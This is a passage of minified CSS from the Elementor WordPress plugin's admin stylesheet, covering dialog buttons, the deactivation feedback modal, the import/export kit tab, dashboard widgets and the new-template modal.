.dialog-button.elementor-button-success{background-color:var(--e-a-btn-bg-success)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover{background-color:var(--e-a-btn-bg-success-hover)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary{background-color:var(--e-a-btn-bg-primary);color:var(--e-a-btn-color)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover{background-color:var(--e-a-btn-bg-primary-hover);color:var(--e-a-btn-color)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt{background:transparent;color:var(--e-a-color-primary-bold)}#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover{background:var(--e-a-bg-primary)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro{background-color:var(--e-a-btn-bg-accent)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover{background-color:var(--e-a-btn-bg-accent-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active{background-color:var(--e-a-btn-bg-accent-active)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info{background-color:var(--e-a-btn-bg-info)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover{background-color:var(--e-a-btn-bg-info-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning{background-color:var(--e-a-btn-bg-warning)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover{background-color:var(--e-a-btn-bg-warning-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger{background-color:var(--e-a-btn-bg-danger)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover{background-color:var(--e-a-btn-bg-danger-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button i,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button i{margin-inline-end:5px}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited{color:initial}@keyframes elementor-rotation{0%{transform:rotate(0deg)}to{transform:rotate(359deg)}}#elementor-deactivate-feedback-dialog-wrapper{display:none}#elementor-deactivate-feedback-modal{color:var(--e-a-color-txt)}#elementor-deactivate-feedback-modal .dialog-widget-content{width:550px}#elementor-deactivate-feedback-modal .dialog-header{padding:18px 15px;box-shadow:0 0 8px rgba(0,0,0,.1);text-align:start}#elementor-deactivate-feedback-modal .dialog-message{padding:30px;padding-block-end:0;text-align:start}#elementor-deactivate-feedback-modal .elementor-deactivate-feedback-dialog-input{margin-block:0;margin-inline:0 15px;box-shadow:none}#elementor-deactivate-feedback-modal .elementor-deactivate-feedback-dialog-input:not(:checked)~.elementor-feedback-text{display:none}#elementor-deactivate-feedback-modal .elementor-deactivate-feedback-dialog-label{display:block;font-size:13px}#elementor-deactivate-feedback-modal .elementor-feedback-text{background-color:transparent;color:var(--e-a-color-txt);margin-block:10px 0;margin-inline:30px 0;padding:5px;box-shadow:none;width:92%}#elementor-deactivate-feedback-modal .dialog-buttons-wrapper{display:flex;justify-content:space-between;padding:20px 30px 30px}#elementor-deactivate-feedback-modal .dialog-submit.elementor-loading:before{display:inline-block;content:"\f463";font:18px dashicons;animation:elementor-rotation 2s linear infinite}#elementor-deactivate-feedback-modal[data-feedback-selected=elementor_pro] .elementor-feedback-text{color:#f59e0b;padding:0}#elementor-deactivate-feedback-modal[data-feedback-selected=elementor_pro] .dialog-submit{display:none}#elementor-deactivate-feedback-dialog-header i{font-size:19px}#elementor-deactivate-feedback-dialog-header-title{font-size:15px;text-transform:uppercase;font-weight:700;padding-inline-start:5px}#elementor-deactivate-feedback-dialog-form-caption{font-weight:700;font-size:15px;line-height:1.4}#elementor-deactivate-feedback-dialog-form-body{padding-block-start:30px;padding-block-end:15px}.elementor-deactivate-feedback-dialog-input-wrapper{display:flex;align-items:center;line-height:2;overflow:hidden}#elementor-hidden-area{display:none}#elementor-import-template-trigger{cursor:pointer}#elementor-import-template-area{display:none;margin:50px 0 30px;text-align:center}#elementor-import-template-form{display:inline-block;margin-block-start:30px;padding:30px 50px;background-color:#fff;border:1px solid #e5e5e5}#elementor-import-template-title{font-size:18px;color:#555d66}.form-table:not(.elementor-maintenance-mode-is-enabled) .elementor-default-hide{display:none}.elementor-maintenance-mode-error{color:red;line-height:1.6;display:none}#tab-fontawesome4_migration.elementor-active~p.submit,#tab-import-export-kit.elementor-active~p.submit,#tab-replace_url.elementor-active~p.submit{display:none}#elementor_replace_url>div{max-width:800px}#elementor_replace_url>div input{margin-block-end:6px}#elementor_rollback>div,#elementor_rollback_pro>div{display:flex}#elementor_rollback>div input,#elementor_rollback>div select,#elementor_rollback_pro>div input,#elementor_rollback_pro>div select{margin-inline-end:6px}.tab-import-export-kit__wrapper{margin:40px 0;max-width:700px}.tab-import-export-kit__container{background-color:#fff;font-size:16px;max-width:700px;padding:30px}.tab-import-export-kit__container:not(:first-child){margin-block-start:5px}.tab-import-export-kit__container p{font-size:16px;margin:20px 0 25px}.tab-import-export-kit__info{font-size:14px}.tab-import-export-kit__container a:not(.elementor-button),.tab-import-export-kit__info a{color:var(--e-a-color-info);text-decoration:underline}.tab-import-export-kit__box{display:flex;justify-content:space-between;align-items:flex-start}.tab-import-export-kit__box h2{font-size:28px;font-weight:400;line-height:1;margin:0}.tab-import-export-kit__box .elementor-button.elementor-button-success{font-weight:700;padding:8px 16px;text-transform:none}.tab-import-export-kit__revert .tab-import-export-kit__kit-item{background-color:hsla(0,0%,100%,.5);box-shadow:0 4px 10px rgba(0,0,0,.05);border-radius:.1875rem;margin-block-end:15px;display:inline-block}.tab-import-export-kit__revert .tab-import-export-kit__kit-item header{border-block-end:1px solid #f1f2f3;padding:.625rem}.tab-import-export-kit__revert .tab-import-export-kit__kit-item h3{font-size:.875rem;margin:0}.tab-import-export-kit__revert .tab-import-export-kit__kit-item img{width:330px;height:315px;padding:.625rem}.tab-import-export-kit__revert .button,.tab-import-export-kit__revert .button:hover{color:#a94442;border-color:#a94442;display:inline-block}#dashboard-widgets .e-dashboard-widget h3.e-heading{font-weight:600;margin-block-end:13px}#dashboard-widgets .e-dashboard-widget .e-divider_bottom{border-block-end:1px solid #eee;margin:0 -12px;padding:6px 12px}#dashboard-widgets .e-dashboard-widget .e-divider_top{border-block-start:1px solid #eee;margin:0 -12px;padding:12px 12px 0}#dashboard-widgets .e-dashboard-widget .e-news-feed-wrap .e-divider_top,#dashboard-widgets .e-dashboard-widget .e-quick-actions-wrap .e-divider_top{padding-block-start:18px;margin-block-start:18px}.e-dashboard-widget .dashicons{color:#606a73}.e-dashboard-widget ul.e-action-list li{margin-block-start:14px}.e-dashboard-widget ul.e-action-list li a{margin-inline-start:5px}.e-dashboard-overview .dashicons{vertical-align:middle;font-size:17px}.e-dashboard-overview .e-overview__header{display:table;width:100%;box-shadow:0 5px 8px rgba(0,0,0,.05);margin:0 -12px 8px;padding:0 12px 12px}.e-dashboard-overview .e-overview__create,.e-dashboard-overview .e-overview__logo,.e-dashboard-overview .e-overview__versions{display:table-cell;vertical-align:middle}.e-dashboard-overview .e-overview__logo{width:30px}.e-dashboard-overview .e-overview__versions{padding:0 10px;font-size:.9em;line-height:1.5}.e-dashboard-overview .e-overview__version{display:block}.e-dashboard-overview .e-overview__create{text-align:end}.e-dashboard-overview .e-overview__feed{font-size:14px;font-weight:500}.e-dashboard-overview .e-overview__post{margin-block-start:10px}.e-dashboard-overview .e-overview__post-link{display:inline-block}.e-dashboard-overview .e-overview__badge{background:#0a875a;color:#fff;font-size:.75em;padding:3px 6px;border-radius:3px;text-transform:uppercase}.e-dashboard-overview .e-overview__post-description{margin:0 0 1.5em}.e-dashboard-overview .e-overview__recently-edited li{color:#72777c}.e-dashboard-overview .e-overview__footer.e-divider_top{padding-block-start:12px;padding-block-end:0}.e-dashboard-overview .e-overview__footer ul{display:flex;list-style:none;margin:0;padding:0}.e-dashboard-overview .e-overview__footer ul li{padding:0 10px;margin:0;border-inline-start:1px solid #ddd}.e-dashboard-overview .e-overview__footer ul li:first-child{padding-inline-start:0;border:none}.e-dashboard-overview .e-overview__ai a,.e-dashboard-overview .e-overview__go-pro a{color:#93003f;font-weight:500}.post-type-elementor_library #elementor-template-library-tabs-wrapper{padding-block-start:2em;margin-block-end:2em}.post-type-elementor_library th#taxonomy-elementor_library_category{width:110px}#elementor-new-floating-elements-modal .dialog-message,#elementor-new-template-modal .dialog-message{max-height:70vh}#elementor-new-floating-elements-modal .e-hidden,#elementor-new-template-modal .e-hidden{display:none!important}#elementor-new-floating-elements-dialog-content,#elementor-new-template-dialog-content{display:flex;align-items:center;height:100%;text-align:start}@media (max-width:1439px){#elementor-new-floating-elements-dialog-content,#elementor-new-template-dialog-content{padding:0 50px}}@media (min-width:1440px){#elementor-new-floating-elements-dialog-content,#elementor-new-template-dialog-content{padding:0 120px}}#elementor-new-floating-elements__description,#elementor-new-template__description{width:35%;max-width:300px;padding-inline-end:100px}#elementor-new-floating-elements__description__title,#elementor-new-template__description__title{font-size:30px}#elementor-new-floating-elements__description__title span,#elementor-new-template__description__title span{font-weight:700}#elementor-new-floating-elements__description__content,#elementor-new-template__description__content{font-size:16px;padding:30px 0}#elementor-new-floating-elements__take_a_tour,#elementor-new-template__take_a_tour{display:flex;align-items:center;font-size:15px}#elementor-new-floating-elements__take_a_tour i,#elementor-new-template__take_a_tour i{color:var(--e-a-color-accent);font-size:30px}#elementor-new-floating-elements__take_a_tour a,#elementor-new-template__take_a_tour a{padding-inline-start:10px;font-weight:500}#elementor-new-floating-elements__form,#elementor-new-template__form{flex-grow:1;max-width:440px;padding:55px;background-color:var(--e-a-color-white);border-radius:var(--e-a-border-radius);border:var(--e-a-border)}#elementor-new-floating-elements__form__title,#elementor-new-template__form__title{font-size:23px}#elementor-new-floating-elements__form__template-type.elementor-form-field__select,#elementor-new-template__form__template-type.elementor-form-field__select{max-width:none}#elementor-new-floating-elements__form__template-type-badge,#elementor-new-template__form__template-type-badge{position:absolute;display:flex;align-items:center;justify-content:center;gap:2px;border-radius:2px;background-color:#f1f2f3;padding:4px;font-size:8px;font-weight:500;line-height:1;text-transform:uppercase;inset-block-start:50%;inset-inline-end:28px;transform:translateY(-50%)}#elementor-new-floating-elements__form .elementor-form-field__label,#elementor-new-template__form .elementor-form-field__label{display:block;margin:25px 0 7px;font-size:14px;line-height:1}#elementor-new-floating-elements__form .elementor-form-field input,#elementor-new-floating-elements__form .elementor-form-field select,#elementor-new-template__form .elementor-form-field input,#elementor-new-template__form .elementor-form-field select{width:100%;height:50px;padding:10px;font-size:14px;box-shadow:none;border-radius:var(--e-a-border-radius);background:none;border:var(--e-a-border-bold);outline:none}#elementor-new-floating-elements__form .elementor-form-field input:focus,#elementor-new-floating-elements__form .elementor-form-field select:focus,#elementor-new-template__form .elementor-form-field input:focus,#elementor-new-template__form .elementor-form-field select:focus{border-color:var(--e-a-border-color-focus)}#elementor-new-floating-elements__form .elementor-form-field__select,#elementor-new-template__form .elementor-form-field__select{-webkit-appearance:none;-moz-appearance:none;appearance:none;cursor:pointer}#elementor-new-floating-elements__form .elementor-form-field__select__wrapper,#elementor-new-template__form 